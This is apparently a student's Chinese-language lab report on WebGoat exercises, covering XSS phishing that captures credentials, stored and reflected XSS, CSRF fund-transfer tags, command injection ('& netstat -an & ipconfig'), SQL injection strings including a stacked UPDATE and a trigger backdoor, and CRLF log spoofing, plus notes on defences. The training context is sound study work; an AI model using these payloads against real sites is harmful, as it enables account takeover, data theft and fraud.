Exp9 Web安全基础实践

基础问题回答

1、SQL注入攻击原理,如何防御?

  • 对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
  • 不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
  • 不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
  • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
  • 应用的异常信息应该给出尽可能少的提示。
  • 采取辅助软件或网站平台来检测sql注入。

2、XSS攻击的原理,如何防御?

  • 在表单提交或者url参数传递前,对需要的参数进行过滤;

学习了一篇博客可供参考

https://blog.csdn.net/wf2017/article/details/55504636

3、CSRF攻击原理,如何防御?

  • 通过referer、token或者验证码来检测用户提交;
  • 尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作;
  • 避免全站通用的cookie,严格设置cookie的域

实践内容

关于WebGoat

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入等,我们本次的实验就是在WebGoat平台上进行。

  • 首先开启WebGoat,再终端

      java -jar webgoat-container-7.0.1-war-exec.jar

一开始会显示未安装,所以必须安装JRE,使用

 sudo apt-get install default-jre
![](https://images2018.cnblogs.com/blog/1074290/201805/1074290-20180528224648570-233999115.png)

使用命令

wget https://s3.amazonaws.com/webgoat-war/webgoat-container-7.0-SNAPSHOT-war-exec.jar

下载WebGoat:

安装java环境:

java环境安装完成

再次运行

java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar

启动WebGoat:

WebGoat使用8080端口,所以在浏览器上访问:localhost:8080/WebGoat

进入WebGoat之后,有很多题目

XSS攻击

1、Phishing with XSS

跨站脚本攻击最大的魅力是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。

在webgoat找到xss攻击打开Phishing with XSS:

编写一个包含用户名、密码的前端代码:

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div> </div></div>
</form>
<script>
function hack(){
SSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

将这段代码输入到输入框中,点击search出现如下登录框:

输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:



攻击成功!!!!

Stored XSS Attacks

储存型XSS攻击:XSS攻击代码存储于数据库中,每次当用户打开此网页时便会执行,危害大,常用语留言板,每次当用户查看留言信息时即触发。导致用户访问时载入非预期的页面或内容

在title里随便输入某些内容

然后在message中输入一串代码,比如:

<script>alert(" you have been attacked by lyx !!");</script>



点击刚刚创建的帖子:

成功进行了攻击:

Reflected XSS Attacks

  • 存储型XSS与反射型XSS有什么区别?

    存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。

  • 反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

练习题的解释:

在服务器端验证所有输入始终是一个很好的做法。当在HTTP响应中使用未经验证的用户输入时,可能发生XSS。在一个反射的XSS攻击中,攻击者可以用攻击脚本制作URL并将其张贴到另一个网站上,发送电子邮件,或者以其他方式让受害者点击它。

当我们输入错误用户信息后,服务器校验输入有误,错误页面出现:

如果我们将带有攻击性的URL作为输入源:

<script>alert(" you have been attacked by lyx !!!");</script>
![](https://images2018.cnblogs.com/blog/1074290/201805/1074290-20180528230229748-326016284.png)

,就会弹出对话框:

Cross Site Request Forgery(CSRF)

目标是发送电子邮件到新闻组。电子邮件包含一个图像,其URL指向恶意请求。在本课中,URL应该指向“攻击”Servlet,该课程的“屏幕”和“菜单”参数和一个额外的参数“TrimeFund”具有任意数值,如5000。您可以通过在右边插入的参数中找到“屏幕”和“菜单”值来构建链接。当时被认证的CSRF邮件的收件人将转移他们的资金。当这一课的攻击成功时,左边的菜单旁边出现一个绿色的复选标记。

以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。

在message框中输入:

<img src='attack?Screen=286&menu=900&transferFunds=5000' width='1' height='1'>

注意这里面的Screen和menu的值每个人的电脑可能不一样,可以在当前页面的右边有个Parameters进行查看,然后通过宽高设置成1像素,隐藏掉这个图片。

提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

CSRF Prompt By-Pass

目标是向包含多个恶意请求的新闻组发送电子邮件:第一个转移资金,第二个请求确认第一个请求被触发的提示。URL应该指向这个CSRF提示的攻击servlet,通过PASS课程的屏幕、菜单参数和一个额外的参数“TrimeBoover”,它具有一个数字值,比如“5000”来启动一个传输,一个字符串值“确认”完成它。您可以从右边的插图复制该课程的参数,创建“攻击”格式的URL。屏幕= xxx和菜单= yyy和转移资金= ZZZ”。无论谁收到这封电子邮件,恰巧在那时被认证,他的资金将被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查

查看页面右边Parameters中的src和menu值。

在message中添加代码:

<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>

提交后生成一个链接,点击:



另一种方法是在浏览器中手动输入URL

localhost:8080/WebGoat/attack?Screen=266&menu=900&transferFunds=5239

进入确认转账请求页面:

点击CONFIRM按钮之后,再在浏览器中输入URL:

localhost:8080/WebGoat/attack?Screen=266&menu=900&transferFunds=CONFIRM

成功转走了5239元:

Injection Flaws练习

在目标主机上执行系统命令,通过火狐浏览器下的Firebug对源代码进行修改,在BackDoors.help旁边加上

"& netstat -an & ipconfig"

之后在下拉菜单中能看到我们修改后的值:

选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况:

Numeric SQL Injection

题目要求:

  • 下面的表单允许用户查看天气数据。尝试注入导致所有天气数据显示的SQL字符串。

  • 现在,您已经成功执行SQL注入,尝试对参数化查询进行相同类型的攻击。

  • 加上一个1=1这种永真式即可达到我们的目的,依旧利用firebug,在任意一个值比如101旁边加上or 1=1:

选中Columbia,点Go,出现:

Log Spoofing

  • 我们输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,在User Name文本框中输入

     lyx%0d%0aLogin Succeeded for username: admin

其中%0d是回车,%0a是换行符:

如图所示,攻击成功:

String SQL Injection

  • 这里和之前一样,基于select语句构造SQL注入字符串,在文本框中输入

     ' or 1=1 --
  • 第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。将一条语句被强行拆分成为两条语句。

  • 点Go,攻击成功,所有用户信息都被显示出来:

LAB:SQL Injection(Stage 1:String SQL Injection)

以用户larry登录,在密码栏中输入

 ' or 1=1 --

进行SQL注入,登录失败:

查看网页代码后发现这里设定的长度不够。然后进行修改:

完成

SQL Injection(Stage 3:Numeric SQL Injection)

  • 跟之前是一样的方法,然后点击ViewProfile可以浏览员工信息:

  • 使用inspect分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为

    101 or 1=1 order by salary desc --

这里desc是指工资按降序排序,这样老板的信息就会被排到第一个。

之后就可以查看到老板的信息:

Database Backdoors

  • 先输一个5239,得到了该用户的信息:



  • 输入注入语句:

     101; update employee set salary=155239

成功把该用户的工资涨到了155239:

然后使用语句

101;CREATE TRIGGER lsqBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155239@qq.com' WHERE userid = NEW.userid

实验后回答问题

(1)SQL注入攻击原理,如何防御

SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。

1、 普通用户与系统管理员用户的权限要有严格的区分。

2、 强迫使用参数化语句。

3、 加强对用户输入的验证。

4、使用SQL Server数据库自带的安全参数。

5、使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤。

6、jsp中调用该函数检查是否包含非法字符,防止SQL从URL注入。

(2)XSS攻击的原理,如何防御

XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器

执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列

表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等。

1、在表单提交或者url参数传递前,对需要的参数进行过滤。

2、过滤用户输入的检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。严格控制输出

(3)CSRF攻击原理,如何防御

跨站请求伪造,盗用身份发送恶意请求。

1、验证 HTTP Referer 字段

2、在请求地址中添加 token 并验证

3、在 HTTP 头中自定义属性并验证

实验总结与体会

这次实验用了很久的时间来一点点认真完成,收获很大,步骤不是很难,也遇到了很多问题,通过百度和问同学一步步完成了实验的所有内容。

Exp9 Web安全基础实践的更多相关文章

  1. 20145236《网络对抗》Exp9 web安全基础实践

    20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  2. 20145215《网络对抗》Exp9 Web安全基础实践

    20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

  3. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

  4. 20155202《网络对抗》Exp9 web安全基础实践

    20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...

  5. 20155204《网络对抗》Exp9 Web安全基础实践

    20155204<网络对抗>Exp9 Web安全基础实践 一.基础问题回答 SQL注入攻击原理,如何防御? 原理: SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以 ...

  6. 20155210 Exp9 Web安全基础实践

    Exp9 Web安全基础实践 实验过程 开启webgoat 输入java -jar webgoat-container-7.1-exec.jar,来运行webgoat 在浏览器输入localhost: ...

  7. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  8. 20155216 Exp9 Web安全基础实践

    Exp9 Web安全基础实践 基础问题回答 1.SQL注入攻击原理,如何防御? 1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等. 2.不要使用动态拼装sql,可以 ...

  9. 20155220 Exp9 Web安全基础实践

    Exp9 Web安全基础实践 实验过程 开启webgoat 输入java -jar webgoat-container-7.1-exec.jar,来运行webgoat 在浏览器输入localhost: ...

  10. 20155223 Exp9 Web安全基础实践

    20155223 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 攻击原理:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定 ...

随机推荐

  1. OpenCV多版本管理

    OpenCV在Ubuntu下经常会安装多个版本,比如默认版本,自己安装的,ros安装的等等.有时候需要给程序指定某个OpenCV版本,网上有一些方法,但还是会遇到很多问题. 这里提供一种选择,即指定O ...

  2. Angular调用父Scope的函数

    app.directive('toggle', function(){ return { restrict: 'A', template: '<a ng-click="f()" ...

  3. [钉钉通知系列]SVN提交后自动推送消息到钉钉群

    钉钉设置机器人配置 1.进入配置机器人入口 2.添加机器人 3.测试WebHook请求 本人使用Postman进行测试 4.配置SVN 4.1 配置 Pre-commit hook 设置提交内容必须包 ...

  4. 如何扩展 Azure 资源组中虚拟机的 OS 驱动器

    概述 在资源组中通过从 Azure 应用商店部署映像来创建新的虚拟机 (VM) 时,默认的 OS 驱动器空间为 127 GB. 尽管可以将数据磁盘添加到 VM(数量取决于所选择的 SKU),并且我们建 ...

  5. 最近用到的 sql 统计操作

    统计操作 1.分组统计group by select id,name,count(*) as '总数'  from test1 group by id,name     --group by   分组 ...

  6. Hadoop 的序列化

    1. 序列化 1.1 序列化与反序列化的概念 序列化:是指将结构化对象转化成字节流在网上传输或写到磁盘进行永久存储的过程 反序列化:是指将字节流转回结构化对象的逆过程 1.2 序列化的应用 序列化用于 ...

  7. 乘风破浪:LeetCode真题_031_Next Permutation

    乘风破浪:LeetCode真题_031_Next Permutation 一.前言 这是一道经典的题目,我们实在想不出最好的方法,只能按照已有的方法来解决,同时我们也应该思考一下为什么要这样做?是怎么 ...

  8. Nginx反向代理及简单负载均衡配置

    nginx配置文件主要分为六个区域:main section.events section.http section.sever section.location section.upstream s ...

  9. webstorm 2017 激活

    参考:https://blog.csdn.net/wangyingwing/article/details/79119592

  10. Python在自动化运维时经常会用到的方法

    得到当前工作目录,即当前Python脚本工作的目录路径:os.getcwd() 返回指定目录下的所有文件和目录名:os.listdir() 函数用来删除一个文件:os.remove() 删除多个目录: ...